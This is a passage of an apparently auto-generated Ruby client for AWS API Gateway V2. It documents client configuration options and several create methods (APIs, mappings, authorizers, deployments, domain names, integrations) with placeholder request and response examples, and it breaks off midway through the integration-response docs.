# @option options [required, String] :region
# The AWS region to connect to. The configured `:region` is
# used to determine the service `:endpoint`. When not passed,
# a default `:region` is searched for in the following locations:
#
# * `Aws.config[:region]`
# * `ENV['AWS_REGION']`
# * `ENV['AMAZON_REGION']`
# * `ENV['AWS_DEFAULT_REGION']`
# * `~/.aws/credentials`
# * `~/.aws/config`
#
# @option options [String] :access_key_id
#
# @option options [Boolean] :active_endpoint_cache (false)
# When set to `true`, a thread polling for endpoints will be running in
# the background every 60 secs (default). Defaults to `false`.
#
# @option options [Boolean] :adaptive_retry_wait_to_fill (true)
# Used only in `adaptive` retry mode. When true, the request will sleep
# until there is sufficent client side capacity to retry the request.
# When false, the request will raise a `RetryCapacityNotAvailableError` and will
# not retry instead of sleeping.
#
# @option options [Boolean] :client_side_monitoring (false)
# When `true`, client-side metrics will be collected for all API requests from
# this client.
#
# @option options [String] :client_side_monitoring_client_id ("")
# Allows you to provide an identifier for this client which will be attached to
# all generated client side metrics. Defaults to an empty string.
#
# @option options [String] :client_side_monitoring_host ("127.0.0.1")
# Allows you to specify the DNS hostname or IPv4 or IPv6 address that the client
# side monitoring agent is running on, where client metrics will be published via UDP.
#
# @option options [Integer] :client_side_monitoring_port (31000)
# Required for publishing client metrics. The port that the client side monitoring
# agent is running on, where client metrics will be published via UDP.
#
# @option options [Aws::ClientSideMonitoring::Publisher] :client_side_monitoring_publisher (Aws::ClientSideMonitoring::Publisher)
# Allows you to provide a custom client-side monitoring publisher class. By default,
# will use the Client Side Monitoring Agent Publisher.
#
# @option options [Boolean] :convert_params (true)
# When `true`, an attempt is made to coerce request parameters into
# the required types.
#
# @option options [Boolean] :correct_clock_skew (true)
# Used only in `standard` and adaptive retry modes. Specifies whether to apply
# a clock skew correction and retry requests with skewed client clocks.
#
# @option options [Boolean] :disable_host_prefix_injection (false)
# Set to true to disable SDK automatically adding host prefix
# to default service endpoint when available.
#
# @option options [String] :endpoint
# The client endpoint is normally constructed from the `:region`
# option. You should only configure an `:endpoint` when connecting
# to test or custom endpoints. This should be a valid HTTP(S) URI.
#
# @option options [Integer] :endpoint_cache_max_entries (1000)
# Used for the maximum size limit of the LRU cache storing endpoints data
# for endpoint discovery enabled operations. Defaults to 1000.
#
# @option options [Integer] :endpoint_cache_max_threads (10)
# Used for the maximum threads in use for polling endpoints to be cached, defaults to 10.
#
# @option options [Integer] :endpoint_cache_poll_interval (60)
# When :endpoint_discovery and :active_endpoint_cache is enabled,
# Use this option to config the time interval in seconds for making
# requests fetching endpoints information. Defaults to 60 sec.
#
# @option options [Boolean] :endpoint_discovery (false)
# When set to `true`, endpoint discovery will be enabled for operations when available.
#
# @option options [Aws::Log::Formatter] :log_formatter (Aws::Log::Formatter.default)
# The log formatter.
#
# @option options [Symbol] :log_level (:info)
# The log level to send messages to the `:logger` at.
#
# @option options [Logger] :logger
# The Logger instance to send log messages to. If this option
# is not set, logging will be disabled.
#
# @option options [Integer] :max_attempts (3)
# An integer representing the maximum number attempts that will be made for
# a single request, including the initial attempt. For example,
# setting this value to 5 will result in a request being retried up to
# 4 times. Used in `standard` and `adaptive` retry modes.
#
# @option options [String] :profile ("default")
# Used when loading credentials from the shared credentials file
# at HOME/.aws/credentials. When not specified, 'default' is used.
#
# @option options [Proc] :retry_backoff
# A proc or lambda used for backoff. Defaults to 2**retries * retry_base_delay.
# This option is only used in the `legacy` retry mode.
#
# @option options [Float] :retry_base_delay (0.3)
# The base delay in seconds used by the default backoff function. This option
# is only used in the `legacy` retry mode.
#
# @option options [Symbol] :retry_jitter (:none)
# A delay randomiser function used by the default backoff function.
# Some predefined functions can be referenced by name - :none, :equal, :full,
# otherwise a Proc that takes and returns a number. This option is only used
# in the `legacy` retry mode.
#
# @see https://www.awsarchitectureblog.com/2015/03/backoff.html
#
# @option options [Integer] :retry_limit (3)
# The maximum number of times to retry failed requests. Only
# ~ 500 level server errors and certain ~ 400 level client errors
# are retried. Generally, these are throttling errors, data
# checksum errors, networking errors, timeout errors, auth errors,
# endpoint discovery, and errors from expired credentials.
# This option is only used in the `legacy` retry mode.
#
# @option options [Integer] :retry_max_delay (0)
# The maximum number of seconds to delay between retries (0 for no limit)
# used by the default backoff function. This option is only used in the
# `legacy` retry mode.
#
# @option options [String] :retry_mode ("legacy")
# Specifies which retry algorithm to use. Values are:
#
# * `legacy` - The pre-existing retry behavior. This is default value if
# no retry mode is provided.
#
# * `standard` - A standardized set of retry rules across the AWS SDKs.
# This includes support for retry quotas, which limit the number of
# unsuccessful retries a client can make.
#
# * `adaptive` - An experimental retry mode that includes all the
# functionality of `standard` mode along with automatic client side
# throttling. This is a provisional mode that may change behavior
# in the future.
#
#
# @option options [String] :secret_access_key
#
# @option options [String] :session_token
#
# @option options [Boolean] :stub_responses (false)
# Causes the client to return stubbed responses. By default
# fake responses are generated and returned. You can specify
# the response data to return or errors to raise by calling
# {ClientStubs#stub_responses}. See {ClientStubs} for more information.
#
# ** Please note ** When response stubbing is enabled, no HTTP
# requests are made, and retries are disabled.
#
# @option options [Boolean] :validate_params (true)
# When `true`, request parameters are validated before
# sending the request.
#
# @option options [URI::HTTP,String] :http_proxy A proxy to send
# requests through. Formatted like 'http://proxy.com:123'.
#
# @option options [Float] :http_open_timeout (15) The number of
# seconds to wait when opening a HTTP session before raising a
# `Timeout::Error`.
#
# @option options [Integer] :http_read_timeout (60) The default
# number of seconds to wait for response data. This value can
# safely be set per-request on the session.
#
# @option options [Float] :http_idle_timeout (5) The number of
# seconds a connection is allowed to sit idle before it is
# considered stale. Stale connections are closed and removed
# from the pool before making a request.
#
# @option options [Float] :http_continue_timeout (1) The number of
# seconds to wait for a 100-continue response before sending the
# request body. This option has no effect unless the request has
# "Expect" header set to "100-continue". Defaults to `nil` which
# disables this behaviour. This value can safely be set per
# request on the session.
#
# @option options [Boolean] :http_wire_trace (false) When `true`,
# HTTP debug output will be sent to the `:logger`.
#
# @option options [Boolean] :ssl_verify_peer (true) When `true`,
# SSL peer certificates are verified when establishing a
# connection.
#
# @option options [String] :ssl_ca_bundle Full path to the SSL
# certificate authority bundle file that should be used when
# verifying peer certificates. If you do not pass
# `:ssl_ca_bundle` or `:ssl_ca_directory` the the system default
# will be used if available.
#
# @option options [String] :ssl_ca_directory Full path of the
# directory that contains the unbundled SSL certificate
# authority files for verifying peer certificates. If you do
# not pass `:ssl_ca_bundle` or `:ssl_ca_directory` the the
# system default will be used if available.
#
def initialize(*args)
super
end
# @!group API Operations
# Creates an Api resource.
#
# @option params [String] :api_key_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Types::Cors] :cors_configuration
# Represents a CORS configuration. Supported only for HTTP APIs. See
# [Configuring CORS][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-cors.html
#
# @option params [String] :credentials_arn
# Represents an Amazon Resource Name (ARN).
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [Boolean] :disable_schema_validation
#
# @option params [Boolean] :disable_execute_api_endpoint
#
# @option params [required, String] :name
# A string with a length between \[1-128\].
#
# @option params [required, String] :protocol_type
# Represents a protocol type.
#
# @option params [String] :route_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :route_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Hash<String,String>] :tags
# Represents a collection of tags associated with the resource.
#
# @option params [String] :target
# A string representation of a URI with a length between \[1-2048\].
#
# @option params [String] :version
# A string with a length between \[1-64\].
#
# @return [Types::CreateApiResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateApiResponse#api_endpoint #api_endpoint} => String
# * {Types::CreateApiResponse#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::CreateApiResponse#api_id #api_id} => String
# * {Types::CreateApiResponse#api_key_selection_expression #api_key_selection_expression} => String
# * {Types::CreateApiResponse#cors_configuration #cors_configuration} => Types::Cors
# * {Types::CreateApiResponse#created_date #created_date} => Time
# * {Types::CreateApiResponse#description #description} => String
# * {Types::CreateApiResponse#disable_schema_validation #disable_schema_validation} => Boolean
# * {Types::CreateApiResponse#disable_execute_api_endpoint #disable_execute_api_endpoint} => Boolean
# * {Types::CreateApiResponse#import_info #import_info} => Array<String>
# * {Types::CreateApiResponse#name #name} => String
# * {Types::CreateApiResponse#protocol_type #protocol_type} => String
# * {Types::CreateApiResponse#route_selection_expression #route_selection_expression} => String
# * {Types::CreateApiResponse#tags #tags} => Hash<String,String>
# * {Types::CreateApiResponse#version #version} => String
# * {Types::CreateApiResponse#warnings #warnings} => Array<String>
#
# @example Request syntax with placeholder values
#
# resp = client.create_api({
# api_key_selection_expression: "SelectionExpression",
# cors_configuration: {
# allow_credentials: false,
# allow_headers: ["__string"],
# allow_methods: ["StringWithLengthBetween1And64"],
# allow_origins: ["__string"],
# expose_headers: ["__string"],
# max_age: 1,
# },
# credentials_arn: "Arn",
# description: "StringWithLengthBetween0And1024",
# disable_schema_validation: false,
# disable_execute_api_endpoint: false,
# name: "StringWithLengthBetween1And128", # required
# protocol_type: "WEBSOCKET", # required, accepts WEBSOCKET, HTTP
# route_key: "SelectionKey",
# route_selection_expression: "SelectionExpression",
# tags: {
# "__string" => "StringWithLengthBetween1And1600",
# },
# target: "UriWithLengthBetween1And2048",
# version: "StringWithLengthBetween1And64",
# })
#
# @example Response structure
#
# resp.api_endpoint #=> String
# resp.api_gateway_managed #=> Boolean
# resp.api_id #=> String
# resp.api_key_selection_expression #=> String
# resp.cors_configuration.allow_credentials #=> Boolean
# resp.cors_configuration.allow_headers #=> Array
# resp.cors_configuration.allow_headers[0] #=> String
# resp.cors_configuration.allow_methods #=> Array
# resp.cors_configuration.allow_methods[0] #=> String
# resp.cors_configuration.allow_origins #=> Array
# resp.cors_configuration.allow_origins[0] #=> String
# resp.cors_configuration.expose_headers #=> Array
# resp.cors_configuration.expose_headers[0] #=> String
# resp.cors_configuration.max_age #=> Integer
# resp.created_date #=> Time
# resp.description #=> String
# resp.disable_schema_validation #=> Boolean
# resp.disable_execute_api_endpoint #=> Boolean
# resp.import_info #=> Array
# resp.import_info[0] #=> String
# resp.name #=> String
# resp.protocol_type #=> String, one of "WEBSOCKET", "HTTP"
# resp.route_selection_expression #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
# resp.version #=> String
# resp.warnings #=> Array
# resp.warnings[0] #=> String
#
# @overload create_api(params = {})
# @param [Hash] params ({})
def create_api(params = {}, options = {})
req = build_request(:create_api, params)
req.send_request(options)
end
# Creates an API mapping.
#
# @option params [required, String] :api_id
# The identifier.
#
# @option params [String] :api_mapping_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [required, String] :domain_name
#
# @option params [required, String] :stage
# A string with a length between \[1-128\].
#
# @return [Types::CreateApiMappingResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateApiMappingResponse#api_id #api_id} => String
# * {Types::CreateApiMappingResponse#api_mapping_id #api_mapping_id} => String
# * {Types::CreateApiMappingResponse#api_mapping_key #api_mapping_key} => String
# * {Types::CreateApiMappingResponse#stage #stage} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_api_mapping({
# api_id: "Id", # required
# api_mapping_key: "SelectionKey",
# domain_name: "__string", # required
# stage: "StringWithLengthBetween1And128", # required
# })
#
# @example Response structure
#
# resp.api_id #=> String
# resp.api_mapping_id #=> String
# resp.api_mapping_key #=> String
# resp.stage #=> String
#
# @overload create_api_mapping(params = {})
# @param [Hash] params ({})
def create_api_mapping(params = {}, options = {})
req = build_request(:create_api_mapping, params)
req.send_request(options)
end
# Creates an Authorizer for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :authorizer_credentials_arn
# Represents an Amazon Resource Name (ARN).
#
# @option params [Integer] :authorizer_result_ttl_in_seconds
# An integer with a value between \[0-3600\].
#
# @option params [required, String] :authorizer_type
# The authorizer type. Specify REQUEST for a Lambda function using
# incoming request parameters. Specify JWT to use JSON Web Tokens
# (supported only for HTTP APIs).
#
# @option params [String] :authorizer_uri
# A string representation of a URI with a length between \[1-2048\].
#
# @option params [required, Array<String>] :identity_source
# The identity source for which authorization is requested. For the
# REQUEST authorizer, this is required when authorization caching is
# enabled. The value is a comma-separated string of one or more mapping
# expressions of the specified request parameters. For example, if an
# Auth header, a Name query string parameter are defined as identity
# sources, this value is $method.request.header.Auth,
# $method.request.querystring.Name. These parameters will be used to
# derive the authorization caching key and to perform runtime validation
# of the REQUEST authorizer by verifying all of the identity-related
# request parameters are present, not null and non-empty. Only when this
# is true does the authorizer invoke the authorizer Lambda function,
# otherwise, it returns a 401 Unauthorized response without calling the
# Lambda function. The valid value is a string of comma-separated
# mapping expressions of the specified request parameters. When the
# authorization caching is not enabled, this property is optional.
#
# @option params [String] :identity_validation_expression
# A string with a length between \[0-1024\].
#
# @option params [Types::JWTConfiguration] :jwt_configuration
# Represents the configuration of a JWT authorizer. Required for the JWT
# authorizer type. Supported only for HTTP APIs.
#
# @option params [required, String] :name
# A string with a length between \[1-128\].
#
# @option params [String] :authorizer_payload_format_version
# A string with a length between \[1-64\].
#
# @option params [Boolean] :enable_simple_responses
#
# @return [Types::CreateAuthorizerResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateAuthorizerResponse#authorizer_credentials_arn #authorizer_credentials_arn} => String
# * {Types::CreateAuthorizerResponse#authorizer_id #authorizer_id} => String
# * {Types::CreateAuthorizerResponse#authorizer_result_ttl_in_seconds #authorizer_result_ttl_in_seconds} => Integer
# * {Types::CreateAuthorizerResponse#authorizer_type #authorizer_type} => String
# * {Types::CreateAuthorizerResponse#authorizer_uri #authorizer_uri} => String
# * {Types::CreateAuthorizerResponse#identity_source #identity_source} => Array<String>
# * {Types::CreateAuthorizerResponse#identity_validation_expression #identity_validation_expression} => String
# * {Types::CreateAuthorizerResponse#jwt_configuration #jwt_configuration} => Types::JWTConfiguration
# * {Types::CreateAuthorizerResponse#name #name} => String
# * {Types::CreateAuthorizerResponse#authorizer_payload_format_version #authorizer_payload_format_version} => String
# * {Types::CreateAuthorizerResponse#enable_simple_responses #enable_simple_responses} => Boolean
#
# @example Request syntax with placeholder values
#
# resp = client.create_authorizer({
# api_id: "__string", # required
# authorizer_credentials_arn: "Arn",
# authorizer_result_ttl_in_seconds: 1,
# authorizer_type: "REQUEST", # required, accepts REQUEST, JWT
# authorizer_uri: "UriWithLengthBetween1And2048",
# identity_source: ["__string"], # required
# identity_validation_expression: "StringWithLengthBetween0And1024",
# jwt_configuration: {
# audience: ["__string"],
# issuer: "UriWithLengthBetween1And2048",
# },
# name: "StringWithLengthBetween1And128", # required
# authorizer_payload_format_version: "StringWithLengthBetween1And64",
# enable_simple_responses: false,
# })
#
# @example Response structure
#
# resp.authorizer_credentials_arn #=> String
# resp.authorizer_id #=> String
# resp.authorizer_result_ttl_in_seconds #=> Integer
# resp.authorizer_type #=> String, one of "REQUEST", "JWT"
# resp.authorizer_uri #=> String
# resp.identity_source #=> Array
# resp.identity_source[0] #=> String
# resp.identity_validation_expression #=> String
# resp.jwt_configuration.audience #=> Array
# resp.jwt_configuration.audience[0] #=> String
# resp.jwt_configuration.issuer #=> String
# resp.name #=> String
# resp.authorizer_payload_format_version #=> String
# resp.enable_simple_responses #=> Boolean
#
# @overload create_authorizer(params = {})
# @param [Hash] params ({})
def create_authorizer(params = {}, options = {})
req = build_request(:create_authorizer, params)
req.send_request(options)
end
# Creates a Deployment for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [String] :stage_name
# A string with a length between \[1-128\].
#
# @return [Types::CreateDeploymentResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateDeploymentResponse#auto_deployed #auto_deployed} => Boolean
# * {Types::CreateDeploymentResponse#created_date #created_date} => Time
# * {Types::CreateDeploymentResponse#deployment_id #deployment_id} => String
# * {Types::CreateDeploymentResponse#deployment_status #deployment_status} => String
# * {Types::CreateDeploymentResponse#deployment_status_message #deployment_status_message} => String
# * {Types::CreateDeploymentResponse#description #description} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_deployment({
# api_id: "__string", # required
# description: "StringWithLengthBetween0And1024",
# stage_name: "StringWithLengthBetween1And128",
# })
#
# @example Response structure
#
# resp.auto_deployed #=> Boolean
# resp.created_date #=> Time
# resp.deployment_id #=> String
# resp.deployment_status #=> String, one of "PENDING", "FAILED", "DEPLOYED"
# resp.deployment_status_message #=> String
# resp.description #=> String
#
# @overload create_deployment(params = {})
# @param [Hash] params ({})
def create_deployment(params = {}, options = {})
req = build_request(:create_deployment, params)
req.send_request(options)
end
# Creates a domain name.
#
# @option params [required, String] :domain_name
# A string with a length between \[1-512\].
#
# @option params [Array<Types::DomainNameConfiguration>] :domain_name_configurations
# The domain name configurations.
#
# @option params [Types::MutualTlsAuthenticationInput] :mutual_tls_authentication
# If specified, API Gateway performs two-way authentication between the
# client and the server. Clients must present a trusted certificate to
# access your API.
#
# @option params [Hash<String,String>] :tags
# Represents a collection of tags associated with the resource.
#
# @return [Types::CreateDomainNameResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateDomainNameResponse#api_mapping_selection_expression #api_mapping_selection_expression} => String
# * {Types::CreateDomainNameResponse#domain_name #domain_name} => String
# * {Types::CreateDomainNameResponse#domain_name_configurations #domain_name_configurations} => Array<Types::DomainNameConfiguration>
# * {Types::CreateDomainNameResponse#mutual_tls_authentication #mutual_tls_authentication} => Types::MutualTlsAuthentication
# * {Types::CreateDomainNameResponse#tags #tags} => Hash<String,String>
#
# @example Request syntax with placeholder values
#
# resp = client.create_domain_name({
# domain_name: "StringWithLengthBetween1And512", # required
# domain_name_configurations: [
# {
# api_gateway_domain_name: "__string",
# certificate_arn: "Arn",
# certificate_name: "StringWithLengthBetween1And128",
# certificate_upload_date: Time.now,
# domain_name_status: "AVAILABLE", # accepts AVAILABLE, UPDATING
# domain_name_status_message: "__string",
# endpoint_type: "REGIONAL", # accepts REGIONAL, EDGE
# hosted_zone_id: "__string",
# security_policy: "TLS_1_0", # accepts TLS_1_0, TLS_1_2
# },
# ],
# mutual_tls_authentication: {
# truststore_uri: "UriWithLengthBetween1And2048",
# truststore_version: "StringWithLengthBetween1And64",
# },
# tags: {
# "__string" => "StringWithLengthBetween1And1600",
# },
# })
#
# @example Response structure
#
# resp.api_mapping_selection_expression #=> String
# resp.domain_name #=> String
# resp.domain_name_configurations #=> Array
# resp.domain_name_configurations[0].api_gateway_domain_name #=> String
# resp.domain_name_configurations[0].certificate_arn #=> String
# resp.domain_name_configurations[0].certificate_name #=> String
# resp.domain_name_configurations[0].certificate_upload_date #=> Time
# resp.domain_name_configurations[0].domain_name_status #=> String, one of "AVAILABLE", "UPDATING"
# resp.domain_name_configurations[0].domain_name_status_message #=> String
# resp.domain_name_configurations[0].endpoint_type #=> String, one of "REGIONAL", "EDGE"
# resp.domain_name_configurations[0].hosted_zone_id #=> String
# resp.domain_name_configurations[0].security_policy #=> String, one of "TLS_1_0", "TLS_1_2"
# resp.mutual_tls_authentication.truststore_uri #=> String
# resp.mutual_tls_authentication.truststore_version #=> String
# resp.mutual_tls_authentication.truststore_warnings #=> Array
# resp.mutual_tls_authentication.truststore_warnings[0] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
#
# @overload create_domain_name(params = {})
# @param [Hash] params ({})
def create_domain_name(params = {}, options = {})
req = build_request(:create_domain_name, params)
req.send_request(options)
end
# Creates an Integration.
#
# @option params [required, String] :api_id
#
# @option params [String] :connection_id
# A string with a length between \[1-1024\].
#
# @option params [String] :connection_type
# Represents a connection type.
#
# @option params [String] :content_handling_strategy
# Specifies how to handle response payload content type conversions.
# Supported only for WebSocket APIs.
#
# @option params [String] :credentials_arn
# Represents an Amazon Resource Name (ARN).
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [String] :integration_method
# A string with a length between \[1-64\].
#
# @option params [String] :integration_subtype
# A string with a length between \[1-128\].
#
# @option params [required, String] :integration_type
# Represents an API method integration type.
#
# @option params [String] :integration_uri
# A string representation of a URI with a length between \[1-2048\].
#
# @option params [String] :passthrough_behavior
# Represents passthrough behavior for an integration response. Supported
# only for WebSocket APIs.
#
# @option params [String] :payload_format_version
# A string with a length between \[1-64\].
#
# @option params [Hash<String,String>] :request_parameters
# For WebSocket APIs, a key-value map specifying request parameters that
# are passed from the method request to the backend. The key is an
# integration request parameter name and the associated value is a
# method request parameter value or static value that must be enclosed
# within single quotes and pre-encoded as required by the backend. The
# method request parameter value must match the pattern of
# method.request.*\\\{location\\}*.*\\\{name\\}* , where
# *\\\{location\\}* is querystring, path, or header; and *\\\{name\\}*
# must be a valid and unique method request parameter name.
#
# For HTTP API integrations with a specified integrationSubtype, request
# parameters are a key-value map specifying parameters that are passed
# to AWS\_PROXY integrations. You can provide static values, or map
# request data, stage variables, or context variables that are evaluated
# at runtime. To learn more, see [Working with AWS service integrations
# for HTTP APIs][1].
#
# For HTTP API integrations without a specified integrationSubtype
# request parameters are a key-value map specifying how to transform
# HTTP requests before sending them to the backend. The key should
# follow the pattern
# <action>\:<header\|querystring\|path>.<location>
# where action can be append, overwrite or remove. For values, you can
# provide static values, or map request data, stage variables, or
# context variables that are evaluated at runtime. To learn more, see
# [Transforming API requests and responses][2].
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-develop-integrations-aws-services.html
# [2]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-parameter-mapping.html
#
# @option params [Hash<String,Hash>] :response_parameters
# Supported only for HTTP APIs. You use response parameters to transform
# the HTTP response from a backend integration before returning the
# response to clients.
#
# @option params [Hash<String,String>] :request_templates
# A mapping of identifier keys to templates. The value is an actual
# template script. The key is typically a SelectionKey which is chosen
# based on evaluating a selection expression.
#
# @option params [String] :template_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Integer] :timeout_in_millis
# An integer with a value between \[50-30000\].
#
# @option params [Types::TlsConfigInput] :tls_config
# The TLS configuration for a private integration. If you specify a TLS
# configuration, private integration traffic uses the HTTPS protocol.
# Supported only for HTTP APIs.
#
# @return [Types::CreateIntegrationResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateIntegrationResult#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::CreateIntegrationResult#connection_id #connection_id} => String
# * {Types::CreateIntegrationResult#connection_type #connection_type} => String
# * {Types::CreateIntegrationResult#content_handling_strategy #content_handling_strategy} => String
# * {Types::CreateIntegrationResult#credentials_arn #credentials_arn} => String
# * {Types::CreateIntegrationResult#description #description} => String
# * {Types::CreateIntegrationResult#integration_id #integration_id} => String
# * {Types::CreateIntegrationResult#integration_method #integration_method} => String
# * {Types::CreateIntegrationResult#integration_response_selection_expression #integration_response_selection_expression} => String
# * {Types::CreateIntegrationResult#integration_subtype #integration_subtype} => String
# * {Types::CreateIntegrationResult#integration_type #integration_type} => String
# * {Types::CreateIntegrationResult#integration_uri #integration_uri} => String
# * {Types::CreateIntegrationResult#passthrough_behavior #passthrough_behavior} => String
# * {Types::CreateIntegrationResult#payload_format_version #payload_format_version} => String
# * {Types::CreateIntegrationResult#request_parameters #request_parameters} => Hash<String,String>
# * {Types::CreateIntegrationResult#response_parameters #response_parameters} => Hash<String,Hash<String,String>>
# * {Types::CreateIntegrationResult#request_templates #request_templates} => Hash<String,String>
# * {Types::CreateIntegrationResult#template_selection_expression #template_selection_expression} => String
# * {Types::CreateIntegrationResult#timeout_in_millis #timeout_in_millis} => Integer
# * {Types::CreateIntegrationResult#tls_config #tls_config} => Types::TlsConfig
#
# @example Request syntax with placeholder values
#
# resp = client.create_integration({
# api_id: "__string", # required
# connection_id: "StringWithLengthBetween1And1024",
# connection_type: "INTERNET", # accepts INTERNET, VPC_LINK
# content_handling_strategy: "CONVERT_TO_BINARY", # accepts CONVERT_TO_BINARY, CONVERT_TO_TEXT
# credentials_arn: "Arn",
# description: "StringWithLengthBetween0And1024",
# integration_method: "StringWithLengthBetween1And64",
# integration_subtype: "StringWithLengthBetween1And128",
# integration_type: "AWS", # required, accepts AWS, HTTP, MOCK, HTTP_PROXY, AWS_PROXY
# integration_uri: "UriWithLengthBetween1And2048",
# passthrough_behavior: "WHEN_NO_MATCH", # accepts WHEN_NO_MATCH, NEVER, WHEN_NO_TEMPLATES
# payload_format_version: "StringWithLengthBetween1And64",
# request_parameters: {
# "__string" => "StringWithLengthBetween1And512",
# },
# response_parameters: {
# "__string" => {
# "__string" => "StringWithLengthBetween1And512",
# },
# },
# request_templates: {
# "__string" => "StringWithLengthBetween0And32K",
# },
# template_selection_expression: "SelectionExpression",
# timeout_in_millis: 1,
# tls_config: {
# server_name_to_verify: "StringWithLengthBetween1And512",
# },
# })
#
# @example Response structure
#
# resp.api_gateway_managed #=> Boolean
# resp.connection_id #=> String
# resp.connection_type #=> String, one of "INTERNET", "VPC_LINK"
# resp.content_handling_strategy #=> String, one of "CONVERT_TO_BINARY", "CONVERT_TO_TEXT"
# resp.credentials_arn #=> String
# resp.description #=> String
# resp.integration_id #=> String
# resp.integration_method #=> String
# resp.integration_response_selection_expression #=> String
# resp.integration_subtype #=> String
# resp.integration_type #=> String, one of "AWS", "HTTP", "MOCK", "HTTP_PROXY", "AWS_PROXY"
# resp.integration_uri #=> String
# resp.passthrough_behavior #=> String, one of "WHEN_NO_MATCH", "NEVER", "WHEN_NO_TEMPLATES"
# resp.payload_format_version #=> String
# resp.request_parameters #=> Hash
# resp.request_parameters["__string"] #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"] #=> Hash
# resp.response_parameters["__string"]["__string"] #=> String
# resp.request_templates #=> Hash
# resp.request_templates["__string"] #=> String
# resp.template_selection_expression #=> String
# resp.timeout_in_millis #=> Integer
# resp.tls_config.server_name_to_verify #=> String
#
# @overload create_integration(params = {})
# @param [Hash] params ({})
def create_integration(params = {}, options = {})
req = build_request(:create_integration, params)
req.send_request(options)
end
# Creates an IntegrationResponses.
#
# @option params [required, String] :api_id
#
# @option params [String] :content_handling_strategy
# Specifies how to handle response payload content type conversions.
# Supported only for WebSocket APIs.
#
# @option params [required, String] :integration_id
#
# @option params [required, String] :integration_response_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Hash<String,String>] :response_parameters
# For WebSocket APIs, a key-value map specifying request parameters that
# are passed from the method request to the backend. The key is an
# integration request parameter name and the associated value is a
# method request parameter value or static value that must be enclosed
# within single quotes and pre-encoded as required by the backend. The
# method request parameter value must match the pattern of
# method.request.*\\\{location\\}*.*\\\{name\\}* , where
# *\\\{location\\}* is querystring, path, or header; and *\\\{name\\}*
# must be a valid and unique method request parameter name.
#
# For HTTP API integrations with a specified integrationSubtype, request
# parameters are a key-value map specifying parameters that are passed
# to AWS\_PROXY integrations. You can provide static values, or map
# request data, stage variables, or context variables that are evaluated
# at runtime. To learn more, see [Working with AWS service integrations
# for HTTP APIs][1].
#
# For HTTP API integrations without a specified integrationSubtype
# request parameters are a key-value map specifying how to transform
# HTTP requests before sending them to the backend. The key should
# follow the pattern
# <action>\:<header\|querystring\|path>.<location>
# where action can be append, overwrite or remove. For values, you can
# provide static values, or map request data, stage variables, or
# context variables that are evaluated at runtime. To learn more, see
# [Transforming API requests and responses][2].
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-develop-integrations-aws-services.html
# [2]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-parameter-mapping.html
#
# @option params [Hash<String,String>] :response_templates
# A mapping of identifier keys to templates. The value is an actual
# template script. The key is typically a SelectionKey which is chosen
# based on evaluating a selection expression.
#
# @option params [String] :template_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @return [Types::CreateIntegrationResponseResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateIntegrationResponseResponse#content_handling_strategy #content_handling_strategy} => String
# * {Types::CreateIntegrationResponseResponse#integration_response_id #integration_response_id} => String
# * {Types::CreateIntegrationResponseResponse#integration_response_key #integration_response_key} => String
# * {Types::CreateIntegrationResponseResponse#response_parameters #response_parameters} => Hash<String,String>
